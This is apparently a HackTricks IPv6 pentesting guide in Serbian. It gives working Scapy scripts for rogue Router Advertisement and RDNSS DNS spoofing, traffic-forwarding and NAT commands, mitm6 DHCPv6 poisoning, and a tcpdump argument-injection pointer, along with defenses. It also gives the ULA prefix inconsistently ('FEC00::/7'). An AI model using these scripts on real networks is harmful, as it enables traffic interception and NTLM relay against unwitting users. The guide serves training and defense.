# Pentesting IPv6 {{#include ../../banners/hacktricks-training.md}} ## IPv6 Osnovna teorija ### Mreže IPv6 adrese su strukturirane da poboljšaju organizaciju mreže i interakciju uređaja. IPv6 adresa se deli na: 1. **Mrežni prefiks**: Prvih 48 bita, koji određuju segment mreže. 2. **Subnet ID**: Sledećih 16 bita, koji se koriste za definisanje specifičnih podmreža unutar mreže. 3. **Identifikator interfejsa**: Poslednjih 64 bita, koji jedinstveno identifikuju uređaj unutar podmreže. Dok IPv6 izostavlja ARP protokol prisutan u IPv4, uvodi **ICMPv6** sa dve glavne poruke: - **Zahtev za suseda (NS)**: Multicast poruke za rešavanje adresa. - **Oglas suseda (NA)**: Unicast odgovori na NS ili spontani oglasi. IPv6 takođe uključuje posebne tipove adresa: - **Loopback adresa (`::1`)**: Ekvivalent IPv4 `127.0.0.1`, za internu komunikaciju unutar hosta. - **Link-Local adrese (`FE80::/10`)**: Za lokalne mrežne aktivnosti, ne za internet rutiranje. Uređaji na istoj lokalnoj mreži mogu otkriti jedni druge koristeći ovaj opseg. ### Praktična upotreba IPv6 u mrežnim komandama Da biste interagovali sa IPv6 mrežama, možete koristiti razne komande: - **Ping Link-Local adrese**: Proverite prisustvo lokalnih uređaja koristeći `ping6`. - **Otkriće suseda**: Koristite `ip neigh` da biste videli uređaje otkrivene na link sloju. - **alive6**: Alternativni alat za otkrivanje uređaja na istoj mreži. Ispod su neki primeri komandi: ```bash ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1 ip neigh | grep ^fe80 # Alternatively, use alive6 for neighbor discovery alive6 eth0 ``` IPv6 adrese se mogu izvesti iz MAC adrese uređaja za lokalnu komunikaciju. Evo pojednostavljenog vodiča o tome kako izvesti Link-local IPv6 adresu iz poznate MAC adrese, kao i kratak pregled tipova IPv6 adresa i metoda za otkrivanje IPv6 adresa unutar mreže. ### **Izvođenje Link-local IPv6 iz MAC adrese** Data je MAC adresa **`12:34:56:78:9a:bc`**, možete konstruisati Link-local IPv6 adresu na sledeći način: 1. Konvertujte MAC u IPv6 format: **`1234:5678:9abc`** 2. Dodajte `fe80::` i umetnite `fffe` u sredinu: **`fe80::1234:56ff:fe78:9abc`** 3. Invertujte sedmi bit s leva, menjajući `1234` u `1034`: **`fe80::1034:56ff:fe78:9abc`** ### **Tipovi IPv6 adresa** - **Unique Local Address (ULA)**: Za lokalne komunikacije, nije namenjena za javno internet rutiranje. Prefiks: **`FEC00::/7`** - **Multicast Address**: Za komunikaciju jedan-prema-mnogima. Dostavlja se svim interfejsima u multicast grupi. Prefiks: **`FF00::/8`** - **Anycast Address**: Za komunikaciju jedan-prema-najbližem. Šalje se najbližem interfejsu prema rutirajućem protokolu. Deo je **`2000::/3`** globalnog unicast opsega. ### **Prefiksi adresa** - **fe80::/10**: Link-Local adrese (slično 169.254.x.x) - **fc00::/7**: Unique Local-Unicast (slično privatnim IPv4 opsezima kao što su 10.x.x.x, 172.16.x.x, 192.168.x.x) - **2000::/3**: Global Unicast - **ff02::1**: Multicast All Nodes - **ff02::2**: Multicast Router Nodes ### **Otkrivanje IPv6 adresa unutar mreže** #### Način 1: Korišćenje Link-local adresa 1. Nabavite MAC adresu uređaja unutar mreže. 2. Izvedite Link-local IPv6 adresu iz MAC adrese. #### Način 2: Korišćenje Multicast 1. Pošaljite ping na multicast adresu `ff02::1` da otkrijete IPv6 adrese na lokalnoj mreži. ```bash service ufw stop # Stop the firewall ping6 -I ff02::1 # Send a ping to multicast address ip -6 neigh # Display the neighbor table ``` ### IPv6 Man-in-the-Middle (MitM) Attacks Postoji nekoliko tehnika za izvođenje MitM napada u IPv6 mrežama, kao što su: - Spoofing ICMPv6 suseda ili oglasa rutera. - Korišćenje ICMPv6 preusmeravanja ili poruka "Packet Too Big" za manipulaciju rutiranjem. - Napad na mobilni IPv6 (obično zahteva da IPSec bude onemogućen). - Postavljanje lažnog DHCPv6 servera. ## Identifying IPv6 Addresses in the eild ### Exploring Subdomains Metoda za pronalaženje poddomena koji su potencijalno povezani sa IPv6 adresama uključuje korišćenje pretraživača. Na primer, korišćenje obrasca upita kao što je `ipv6.*` može biti efikasno. Konkretno, sledeća pretraga može se koristiti u Google-u: ```bash site:ipv6./ ``` ### Korišćenje DNS Upita Da bi se identifikovale IPv6 adrese, određene vrste DNS zapisa mogu se upitavati: - **AXFR**: Zahteva potpunu transfer zonu, potencijalno otkrivajući širok spektar DNS zapisa. - **AAAA**: Direktno traži IPv6 adrese. - **ANY**: Širok upit koji vraća sve dostupne DNS zapise. ### Istraživanje sa Ping6 Nakon identifikacije IPv6 adresa povezanih sa organizacijom, može se koristiti `ping6` alat za istraživanje. Ovaj alat pomaže u proceni odzivnosti identifikovanih IPv6 adresa, a takođe može pomoći u otkrivanju susednih IPv6 uređaja. ## Tehnike Napada na IPv6 Lokalnu Mrežu Sledeće sekcije pokrivaju praktične layer-2 IPv6 napade koji se mogu izvršiti **unutar istog /64 segmenta** bez poznavanja globalnog prefiksa. Svi paketi prikazani u nastavku su **link-local** i putuju samo kroz lokalni prekidač, što ih čini izuzetno neprimetnim u većini okruženja. ### Podešavanje Sistema za Stabilan Laboratorija Pre nego što se igra sa IPv6 saobraćajem, preporučuje se da se ojača vaša mašina kako bi se izbeglo trovanje sopstvenim testovima i kako bi se postigla najbolja performansa tokom masovnog injektovanja/snifovanja paketa. ```bash # Enable promiscuous mode to capture all frames sudo ip link set dev eth0 promisc on # Ignore rogue Router Advertisements & Redirects coming from the segment sudo sysctl -w net.ipv6.conf.all.accept_ra=0 sudo sysctl -w net.ipv6.conf.all.accept_redirects=0 # Increase fd / backlog limits when generating lots of traffic sudo sysctl -w fs.file-max=100000 sudo sysctl -w net.core.somaxconn=65535 sudo sysctl -w net.ipv4.tcp_tw_reuse=1 ``` ### Passive NDP & DHCPv6 Sniffing Zato što svaki IPv6 host **automatski pridružuje više multicast grupa** (`ff02::1`, `ff02::2`, …) i koristi ICMPv6 za SLAAC/NDP, možete mapirati ceo segment bez slanja jednog paketa. Sledeći Python/Scapy jedan-liner sluša najzanimljivije L2 poruke i štampa obojeni, vremenski obeležen log ko je ko: ```python #!/usr/bin/env python3 from scapy.all import * from scapy.layers.dhcp6 import * from datetime import datetime from colorama import Fore, Style, init import argparse init(autoreset=True) # Human-readable names for protocols we care about DHCP6_TYPES = { DHCP6_Solicit: 'Solicit', DHCP6_Advertise: 'Advertise', DHCP6_Request: 'Request', DHCP6_Reply: 'Reply', DHCP6_Renew: 'Renew', DHCP6_Rebind: 'Rebind', DHCP6_RelayForward:'Relay-Forward', DHCP6_RelayReply: 'Relay-Reply' } ICMP6_TYPES = { ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN), ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN), ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE), ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA), ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX), ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX), ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX), ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX), ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX), ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX) } def handler(pkt): eth_src = pkt[Ether].src if Ether in pkt else '?' eth_dst = pkt[Ether].dst if Ether in pkt else '?' ip6_src = pkt[IPv6].src if IPv6 in pkt else '?' ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?' # Identify protocol family first for proto,(desc,color) in ICMP6_TYPES.items(): if proto in pkt: break else: if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port for dhcp_t,name in DHCP6_TYPES.items(): if dhcp_t in pkt: desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break else: return # not a DHCPv6 message we track else: return # not interesting print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}") print(f" MAC {eth_src} -> {eth_dst}") print(f" IPv6 {ip6_src} -> {ip6_dst}") print('-'*60) if __name__ == '__main__': argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer') argp.add_argument('-i','--interface',required=True,help='Interface to sniff') argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)') a = argp.parse_args() sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0) ``` Rezultat: puna **link-local topologija** (MAC ⇄ IPv6) u pitanju sekundi, bez aktiviranja IPS/IDS sistema koji se oslanjaju na aktivne skenove. ### Lažiranje Router Advertisements (RA) IPv6 hostovi se oslanjaju na **ICMPv6 Router Advertisements** za otkrivanje podrazumevanog prolaza. Ako umetnete lažne RAs **češće** od legitimnog rutera, uređaji će tiho preći na vas kao prolaz. ```python #!/usr/bin/env python3 from scapy.all import * import argparse p = argparse.ArgumentParser() p.add_argument('-i','--interface',required=True) p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)') p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef') p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime') p.add_argument('--interval',type=int,default=5,help='Seconds between RAs') p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack') args = p.parse_args() lifetime = 0 if args.revert else args.lifetime ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference ICMPv6NDOptSrcLLAddr(lladdr=args.mac)) send(ra,iface=args.interface,loop=1,inter=args.interval) ``` Da biste zapravo **prosledili saobraćaj** nakon što ste pobedili u trci: ```bash sudo sysctl -w net.ipv6.conf.all.forwarding=1 sudo ip6tables -A FORWARD -i eth0 -j ACCEPT sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE ``` #### Router Advertisement Flags (M/O) & Default Router Preference (Prf) | Flag | Značenje | Efekat na ponašanje klijenta | |------|---------|----------------------------| | **M (Managed Address Configuration)** | Kada je postavljeno na `1`, host MORA koristiti **DHCPv6** da bi dobio svoju IPv6 adresu. | Cela adresa dolazi iz DHCPv6 – savršeno za *mitm6* stil trovanja. | | **O (Other Configuration)** | Kada je postavljeno na `1`, host treba koristiti **DHCPv6** samo da bi dobio *druge* informacije (DNS, NTP, …). | Adresa i dalje putem SLAAC-a, ali DNS može biti preuzet putem DHCPv6. | | **M=0 / O=0** | Čista SLAAC mreža. | Samo RA / RDNSS trikovi su mogući – DHCPv6 neće biti poslat od strane klijenata. | | **M=1 / O=1** | Mešovito okruženje. | Koriste se i DHCPv6 i SLAAC; površina za spoofing je najveća. | Tokom pentesta možete jednostavno pregledati legitimni RA jednom i odlučiti koji je vektor izvodljiv: ```bash sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements ``` Potražite polje `flags [M,O]` u dump-u – bez potrebe za pogađanjem. Polje **Prf** (Router Preference) unutar RA zaglavlja kontroliše koliko atraktivan izgleda vaš lažni ruter kada su prisutna *višestruka* prolaza: | Prf vrednost | Binarno | Značenje | |--------------|---------|----------| | **Visoko** | `10` | Klijenti preferiraju ovaj ruter u odnosu na bilo koji *Srednji*/*Nizak* | | Srednje (podrazumevano) | `01` | Koristi se od skoro svakog legitimnog uređaja | | Nisko | `00` | Birano samo kada ne postoji bolji ruter | Kada generišete paket sa Scapy, možete ga postaviti putem `prf` parametra kao što je prikazano iznad (`prf=0x1` → Visoko). Kombinovanje **Visokog Prf**, **kratkog intervala** i **ne-nultog veka trajanja** čini vaš lažni prolaz izuzetno stabilnim. --- ### RDNSS (DNS) Spoofing putem RA [RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) omogućava dodavanje opcije **Recursive DNS Server (RDNSS)** unutar RA. Moderni operativni sistemi (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatski mu veruju: ```python #!/usr/bin/env python3 from scapy.all import * import argparse p = argparse.ArgumentParser() P = p.add_argument P('-i','--interface',required=True) P('--llip',required=True) P('--dns',required=True,help='Fake DNS IPv6') P('--lifetime',type=int,default=600) P('--interval',type=int,default=5) args = p.parse_args() ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/ ICMPv6ND_RA(routerlifetime=0)/ ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime)) send(ra,iface=args.interface,loop=1,inter=args.interval) ``` Klijenti će **dodati** vaš DNS na svoju listu resolvera za dato vreme, omogućavajući potpuno DNS preusmeravanje dok vrednost ne istekne ili ne pošaljete `lifetime=0` povratak. ### DHCPv6 DNS Spoofing (mitm6) Umesto SLAAC-a, Windows mreže često zavise od **stateless DHCPv6** za DNS. [mitm6](https://github.com/rofl0r/mitm6) automatski odgovara na `Solicit` poruke sa **Advertise → Reply** tokom koji dodeljuje **vašu link-local adresu kao DNS na 300 sekundi**. Ovo otključava: * NTLM relayski napadi (WPAD + DNS preusmeravanje) * Presretanje interne rezolucije imena bez dodirivanja rutera Tipična upotreba: ```bash sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning ``` ### Odbrane * **RA Guard / DHCPv6 Guard / ND Inspekcija** na upravljanim prekidačima. * Port ACL-ovi koji dozvoljavaju samo legitimnom MAC-u rutera da šalje RAs. * Pratiti **nepravilne visoke stope RAs** ili iznenadne **RDNSS promene**. * Onemogućavanje IPv6 na krajnjim tačkama je privremeno rešenje koje često kvari moderne usluge i skriva slepe tačke – umesto toga, preferirajte L2 filtriranje. ### NDP Otkriće Rutera na Gosti/Objavnim SSID-ima i Izloženost Upravljačkim Uslugama Mnogi potrošački ruteri izlažu upravljačke demone (HTTP(S), SSH/Telnet, TR-069, itd.) na svim interfejsima. U nekim implementacijama, “gosti/objavni” SSID je povezan sa WAN/jezgro i je samo IPv6. Čak i ako se IPv6 rutera menja pri svakom pokretanju, možete pouzdano saznati koristeći NDP/ICMPv6 i zatim direktno povezati sa upravljačkom ravni iz gostujućeg SSID-a. Tipičan radni tok od klijenta povezanog na gostujući/objavni SSID: 1) Otkrijte ruter putem ICMPv6 Router Solicitation na All-Routers multicast `ff02::2` i zabeležite Router Advertisement (RA): ```bash # Listen for Router Advertisements (ICMPv6 type 134) sudo tcpdump -vvv -i 'icmp6 and ip6[40]==134' # Provoke an RA by sending a Router Solicitation to ff02::2 python3 - <<'PY' from scapy.all import * send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='') PY ``` RA otkriva link-local adresu rutera i često globalnu adresu/prefiks. Ako je poznata samo link-local adresa, zapamtite da veze moraju da specificiraju indeks zone, npr. `ssh -6 admin@[fe80::1%wlan0]`. Alternativa: koristite ndisc6 paket ako je dostupan: ```bash # rdisc6 sends RS and prints RAs in a friendly way rdisc6 ``` 2) Pristupite izloženim uslugama preko IPv6 sa gostujuće SSID: ```bash # SSH/Telnet example (replace with discovered address) ssh -6 admin@[2001:db8:abcd::1] # Web UI over IPv6 curl -g -6 -k 'http://[2001:db8:abcd::1]/' # Fast IPv6 service sweep nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1] ``` 3) Ako upravljačka ljuska pruža alate za hvatanje paketa putem omotača (npr., tcpdump), proverite za injekciju argumenata/naziva datoteka koja omogućava prosleđivanje dodatnih tcpdump zastavica kao što su `-G/-W/-z` za postizanje izvršavanja komandi nakon rotacije. Pogledajte: {{#ref}} ../../linux-hardening/privilege-escalation/wildcards-spare-tricks.md {{#endref}} Odbrana/beleške: - Ne vezujte upravljanje za gostujuće/javne mostove; primenite IPv6 vatrozide na SSID mostovima. - Ograničite brzinu i filtrirajte NDP/RS/RA na segmentima za goste gde je to moguće. - Za usluge koje moraju biti dostupne, primenite autentifikaciju/MFA i stroga ograničenja brzine. ## Reference - [Legless – IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/) - [mitm6](https://github.com/rofl0r/mitm6) - [RFC 8106 – IPv6 ND DNS Configuration](https://datatracker.ietf.org/doc/html/rfc8106) - [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html) - [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904) - [Practical Guide to IPv6 Attacks in a Local Network](https://habr.com/ru/articles/930526/) - [FiberGateway GR241AG – Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}}